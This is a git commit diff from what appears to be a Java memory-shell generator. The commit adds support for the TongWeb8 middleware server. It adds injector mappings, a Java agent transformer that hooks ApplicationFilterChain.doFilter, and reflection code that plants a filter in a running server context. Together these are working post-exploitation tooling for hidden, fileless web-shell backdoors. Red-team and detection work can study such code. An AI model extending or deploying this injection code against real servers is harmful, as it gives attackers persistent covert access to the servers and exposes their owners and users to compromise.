feat: support TongWeb8

ReaJason · ReaJason · commit e7666844dfc0 · 2025-05-28T01:22:54.000+08:00
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/Server.java b/generator/src/main/java/com/reajason/javaweb/memshell/Server.java
@@ -101,6 +101,7 @@ public enum Server {
      */
     TongWeb6(new TongWeb6Shell()),
     TongWeb7(new TongWeb7Shell()),
+    TongWeb8(new TongWeb8Shell()),
 
     /**
      * 金蝶天燕中间件
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ValveGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ValveGenerator.java
@@ -31,6 +31,7 @@ public class ValveGenerator {
     public static final String BES_VALVE_PACKAGE = "com.bes.enterprise.webtier";
     public static final String TONGWEB6_VALVE_PACKAGE = "com.tongweb.web.thor";
     public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina";
+    public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server";
 
     public static class ValveRenameVisitorWrapper implements AsmVisitorWrapper {
         private final String newPackageName;
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/ServerToolRegistry.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/ServerToolRegistry.java
@@ -41,6 +41,10 @@ public static void addToolMapping(ShellTool shellTool, ToolMapping toolMapping)
                     shellClass = ValveGenerator.generateValveClass(ValveGenerator.TONGWEB7_VALVE_PACKAGE, shellClass);
                 }
 
+                if (isValve && shell instanceof TongWeb8Shell) {
+                    shellClass = ValveGenerator.generateValveClass(ValveGenerator.TONGWEB8_VALVE_PACKAGE, shellClass);
+                }
+
                 if (isValve && shell instanceof BesShell) {
                     shellClass = ValveGenerator.generateValveClass(ValveGenerator.BES_VALVE_PACKAGE, shellClass);
                 }
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb8Shell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb8Shell.java
@@ -0,0 +1,31 @@
+package com.reajason.javaweb.memshell.server;
+
+import com.reajason.javaweb.memshell.injector.tongweb.*;
+
+import static com.reajason.javaweb.memshell.ShellType.*;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/27
+ */
+public class TongWeb8Shell extends AbstractShell {
+
+    @Override
+    public Class<?> getListenerInterceptor() {
+        return TomcatShell.ListenerInterceptor.class;
+    }
+
+    @Override
+    public InjectorMapping getShellInjectorMapping() {
+        return InjectorMapping.builder()
+                .addInjector(LISTENER, TongWebListenerInjector.class)
+                .addInjector(JAKARTA_LISTENER, TongWebListenerInjector.class)
+                .addInjector(FILTER, TongWebFilterInjector.class)
+                .addInjector(JAKARTA_FILTER, TongWebFilterInjector.class)
+                .addInjector(VALVE, TongWebValveInjector.class)
+                .addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
+                .addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
+                .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
+                .build();
+    }
+}
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterChainAgentInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterChainAgentInjector.java
@@ -16,6 +16,11 @@
 public class TongWebFilterChainAgentInjector implements ClassFileTransformer {
     private static final String TARGET_CLASS = "com/tongweb/web/thor/core/ApplicationFilterChain";
     private static final String TARGET_CLASS_1 = "com/tongweb/catalina/core/ApplicationFilterChain";
+    private static final String[] TARGET_CLASSES = new String[]{
+            "com/tongweb/web/thor/core/ApplicationFilterChain",
+            "com/tongweb/catalina/core/ApplicationFilterChain",
+            "com/tongweb/server/core/ApplicationFilterChain"
+    };
     private static final String TARGET_METHOD_NAME = "doFilter";
 
     public static String getClassName() {
@@ -39,10 +44,11 @@ private static void launch(Instrumentation inst) throws Exception {
         inst.addTransformer(new TongWebFilterChainAgentInjector(), true);
         for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
             String name = allLoadedClass.getName();
-            if (TARGET_CLASS.replace("/", ".").equals(name)
-                    || TARGET_CLASS_1.replace("/", ".").equals(name)) {
-                inst.retransformClasses(allLoadedClass);
-                System.out.println("MemShell Agent is working at " + name + ".doFilter");
+            for (String targetClass : TARGET_CLASSES) {
+                if (targetClass.replace("/", ".").equals(name)) {
+                    inst.retransformClasses(allLoadedClass);
+                    System.out.println("MemShell Agent is working at " + name + ".doFilter");
+                }
             }
         }
     }
@@ -51,21 +57,23 @@ private static void launch(Instrumentation inst) throws Exception {
     @SuppressWarnings("all")
     public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
                             ProtectionDomain protectionDomain, byte[] bytes) {
-        if (TARGET_CLASS.equals(className) || TARGET_CLASS_1.equals(className)) {
-            defineTargetClass(loader);
-            try {
-                ClassReader cr = new ClassReader(bytes);
-                ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
-                    @Override
-                    protected ClassLoader getClassLoader() {
-                        return loader;
-                    }
-                };
-                ClassVisitor cv = getClassVisitor(cw);
-                cr.accept(cv, ClassReader.EXPAND_FRAMES);
-                return cw.toByteArray();
-            } catch (Exception e) {
-                e.printStackTrace();
+        for (String targetClass : TARGET_CLASSES) {
+            if (className.equals(targetClass)) {
+                defineTargetClass(loader);
+                try {
+                    ClassReader cr = new ClassReader(bytes);
+                    ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
+                        @Override
+                        protected ClassLoader getClassLoader() {
+                            return loader;
+                        }
+                    };
+                    ClassVisitor cv = getClassVisitor(cw);
+                    cr.accept(cv, ClassReader.EXPAND_FRAMES);
+                    return cw.toByteArray();
+                } catch (Exception e) {
+                    e.printStackTrace();
+                }
             }
         }
         return bytes;
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java
@@ -49,6 +49,8 @@ public TongWebFilterInjector() {
      * /opt/tweb6/lib/twnt.jar
      * com.tongweb.catalina.core.ApplicationContext
      * /opt/tweb7/lib/tongweb.jar
+     * com.tongweb.server.core.ApplicationContext
+     * /opt/tweb8/lib/tongweb-web.jar
      */
     public List<Object> getContext() throws Exception {
         List<Object> contexts = new ArrayList<Object>();
@@ -102,14 +104,21 @@ public void inject(Object context, Object filter) throws Exception {
         ClassLoader contextClassLoader = context.getClass().getClassLoader();
         try {
             // tongweb 7
+            constructor = contextClassLoader.loadClass("com.tongweb.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
             filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
             filterMap = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap").newInstance();
-            constructor = contextClassLoader.loadClass("com.tongweb.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
         } catch (Exception e2) {
-            // tongweb 6
-            filterDef = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterDef").newInstance();
-            filterMap = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterMap").newInstance();
-            constructor = contextClassLoader.loadClass("com.tongweb.web.thor.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
+            try {
+                // tongweb 6
+                constructor = contextClassLoader.loadClass("com.tongweb.web.thor.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
+                filterDef = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterDef").newInstance();
+                filterMap = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterMap").newInstance();
+            } catch (Exception e) {
+                // tongweb 8
+                constructor = contextClassLoader.loadClass("com.tongweb.server.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
+                filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
+                filterMap = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap").newInstance();
+            }
         }
         invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
         invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName});
diff --git a/memshell/src/main/java/com/tongweb/server/Valve.java b/memshell/src/main/java/com/tongweb/server/Valve.java
@@ -0,0 +1,19 @@
+package com.tongweb.server;
+
+import com.tongweb.server.connector.Request;
+import com.tongweb.server.connector.Response;
+
+import javax.servlet.ServletException;
+import java.io.IOException;
+
+public interface Valve {
+    Valve getNext();
+
+    void setNext(Valve var1);
+
+    void backgroundProcess();
+
+    void invoke(Request var1, Response var2) throws IOException, ServletException;
+
+    boolean isAsyncSupported();
+}
diff --git a/memshell/src/main/java/com/tongweb/server/connector/Request.java b/memshell/src/main/java/com/tongweb/server/connector/Request.java
diff --git a/memshell/src/main/java/com/tongweb/server/connector/Response.java b/memshell/src/main/java/com/tongweb/server/connector/Response.java

Original file line number	Diff line number	Diff line change
`@@ -41,6 +41,10 @@ public static void addToolMapping(ShellTool shellTool, ToolMapping toolMapping)`
`41`	`41`	`shellClass = ValveGenerator.generateValveClass(ValveGenerator.TONGWEB7_VALVE_PACKAGE, shellClass);`
`42`	`42`	`}`
`43`	`43`
	`44`	`+ if (isValve && shell instanceof TongWeb8Shell) {`
	`45`	`+ shellClass = ValveGenerator.generateValveClass(ValveGenerator.TONGWEB8_VALVE_PACKAGE, shellClass);`
	`46`	`+ }`
	`47`	`+`
`44`	`48`	`if (isValve && shell instanceof BesShell) {`
`45`	`49`	`shellClass = ValveGenerator.generateValveClass(ValveGenerator.BES_VALVE_PACKAGE, shellClass);`
`46`	`50`	`}`